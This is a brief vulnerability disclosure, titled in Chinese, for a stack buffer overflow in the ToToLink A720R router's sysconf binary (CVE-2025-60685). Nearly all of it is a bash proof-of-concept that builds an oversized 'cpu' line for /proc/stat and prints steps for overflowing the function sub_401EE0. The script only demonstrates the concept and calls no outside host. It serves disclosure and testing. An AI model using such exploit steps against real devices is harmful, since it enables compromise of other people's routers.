ToToLink A720R路由器sysconf二进制栈缓冲区溢出漏洞(CVE-2025-60685)

#!/bin/bash # CVE-2025-60685 PoC - ToToLink A720R sysconf Stack Buffer Overflow # This PoC demonstrates how to trigger the buffer overflow by modifying /proc/stat # Create malicious /proc/stat content with oversized CPU line # The sscanf with %s will write beyond buffer boundaries MALICIOUS_STAT=$(printf 'cpu %9999999s 0 0 0 0 0 0 0 0 0\n' | tr ' ' 'A') echo "[*] Preparing malicious /proc/stat content..." echo "$MALICIOUS_STAT" > /tmp/malicious_stat # Backup original /proc/stat if possible if [ -r /proc/stat ]; then echo "[*] Backing up original /proc/stat" cp /proc/stat /tmp/original_stat 2>/dev/null || true fi # For demonstration, this shows the concept # In real attack, attacker needs filesystem write access to /proc/stat echo "[*] To exploit: Replace /proc/stat with malicious content" echo "[*] Then trigger sysconf binary to read /proc/stat" echo "[*] This will cause stack buffer overflow in sub_401EE0 function" # Cleanup echo "[*] Cleaning up..." rm -f /tmp/malicious_stat